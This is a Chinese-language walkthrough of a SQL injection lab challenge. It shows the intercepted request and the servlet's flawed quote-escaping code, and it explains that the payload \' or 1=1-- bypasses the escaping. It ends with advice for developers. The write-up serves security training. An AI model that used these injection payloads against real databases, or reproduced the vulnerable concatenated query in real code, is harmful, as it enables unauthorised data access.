跳转至

SQL Injection Escaping Challenge(SQL 注入转义)

题介绍

需要利用SQL注入点获得本题的通关密钥,通过题的介绍,知道单引号已经被转义了

功能实现

获得请求数据包

POST /challenges/8c3c35c30cdbbb73b7be3a4f8587aa9d88044dc43e248984a252c6e861f673d4 HTTP/1.1


aUserId=%22+or+%221%22%3D%221
对应实现的代码 在 src/main/java/servlets/module/challenge/SqlInjectionEscaping.java

String aUserId = request.getParameter("aUserId");
log.debug("User Submitted - " + aUserId);
aUserId = aUserId.replaceAll("'", "\\\\'"); //Replace ' with \'
log.debug("Escaped to - " + aUserId);
String ApplicationRoot = getServletContext().getRealPath("");

log.debug("Getting Connection to Database");
Connection conn = Database.getChallengeConnection(ApplicationRoot, "SqlChallengeEscape");
Statement stmt = conn.createStatement();
log.debug("Gathering result set");
ResultSet resultSet = stmt.executeQuery("SELECT * FROM customers WHERE customerId = '" + aUserId + "'");
可见单引号被转义成\', 接下来是一个比较典型的字符型SQL注入需要用到单引号

解题步骤

本题是研发自己实现的安全过滤,存在考虑不周,如果用户输入 \' 则变成 \' 使得\失去了转义作用,直接输入 \' or 1=1-- 即可

总结

研发人员第一步需要树立安全意识,对用户提交的参数进行输入检查,当研发人员形成意识后,发现其实是进入了一个安全对抗领域,需要不断提高自身过滤能力,才能完全消灭安全漏洞

最理想的情况,非不得已不要自己编写复杂的过滤校验,可以使用公开的公认安全的过滤库

Back to top